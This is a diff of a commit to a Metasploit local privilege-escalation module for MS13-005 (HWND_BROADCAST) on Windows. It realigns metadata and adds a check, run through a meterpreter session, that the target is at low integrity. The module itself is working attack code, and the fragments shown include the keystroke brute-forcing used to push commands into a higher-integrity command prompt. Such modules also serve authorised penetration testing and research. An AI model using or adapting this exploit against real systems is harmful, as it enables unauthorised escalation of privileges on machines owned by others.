@@ -17,8 +17,8 @@ class Metasploit3 < Msf::Exploit::Local
17
17
18
18
def initialize ( info = { } )
19
19
super ( update_info ( info ,
20
- 'Name' => 'MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation' ,
21
- 'Description' => %q{
20
+ 'Name' => 'MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation' ,
21
+ 'Description' => %q{
22
22
The Windows kernel does not properly isolate broadcast messages from low integrity
23
23
applications from medium or high integrity applications. This allows commands to be
24
24
broadcasted to an open medium or high integrity command prompts allowing escalation
@@ -31,16 +31,16 @@ def initialize(info={})
31
31
Vista so you will have to check if the user is already running a command prompt
32
32
and set SPAWN_PROMPT false.
33
33
} ,
34
- 'License' => MSF_LICENSE ,
35
- 'Author' =>
34
+ 'License' => MSF_LICENSE ,
35
+ 'Author' =>
36
36
[
37
37
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ,
38
38
'Tavis Ormandy' , #Discovery
39
39
'Axel Souchet' #@0vercl0k POC
40
40
] ,
41
- 'Platform' => [ 'win' ] ,
42
- 'SessionTypes' => [ 'meterpreter' ] ,
43
- 'Targets' =>
41
+ 'Platform' => [ 'win' ] ,
42
+ 'SessionTypes' => [ 'meterpreter' ] ,
43
+ 'Targets' =>
44
44
[
45
45
[ 'Windows x86' , { 'Arch' => ARCH_X86 } ] ,
46
46
[ 'Windows x64' , { 'Arch' => ARCH_X86_64 } ]
@@ -69,6 +69,26 @@ def initialize(info={})
69
69
)
70
70
end
71
71
72
+ # Refactor this into Post lib with adobe_sandbox_adobecollabsync.rb
73
+ # Or use GetToken railgun calls?
74
+ def low_integrity_level?
75
+ tmp_dir = expand_path ( "%TEMP%" )
76
+ cd ( tmp_dir )
77
+ new_dir = "#{ rand_text_alpha ( 5 ) } "
78
+ begin
79
+ session . shell_command_token ( "mkdir #{ new_dir } " )
80
+ rescue
81
+ return true
82
+ end
83
+
84
+ if directory? ( new_dir )
85
+ session . shell_command_token ( "rmdir #{ new_dir } " )
86
+ return false
87
+ else
88
+ return true
89
+ end
90
+ end
91
+
72
92
def win_shift ( number )
73
93
vk = 0x30 + number
74
94
bscan = 0x81 + number
@@ -100,9 +120,9 @@ def cleanup
100
120
end
101
121
102
122
def primer
103
- # syinfo is only on meterpreter sessions
104
123
e = "V2FrZSB1cCwgTmVvLi4uDQpUaGUgTWF0cml4IGhhcyB5b3UuLi4NCkZvbGxv\n dyB0aGUgV2hpdGUgUmFiYml0Lg=="
105
124
print_status ( "Running module against #{ sysinfo [ 'Computer' ] } " ) if not sysinfo . nil?
125
+ fail_with ( Exploit ::Failure ::NotVulnerable , "Not running at Low Integrity!" ) unless low_integrity_level?
106
126
107
127
if datastore [ 'SPAWN_PROMPT' ]
108
128
@hwin = client . railgun . kernel32 . GetConsoleWindow ( ) [ 'return' ]
@@ -119,7 +139,6 @@ def primer
119
139
120
140
count = count_cmd_procs
121
141
spawned = false
122
- # Bruteforce taskbar position Win+Shift+?
123
142
print_status ( "Bruteforcing Taskbar Position" )
124
143
9 . downto ( 1 ) do |number |
125
144
vprint_status ( "Attempting Win+Shift+#{ number } " )
0 commit comments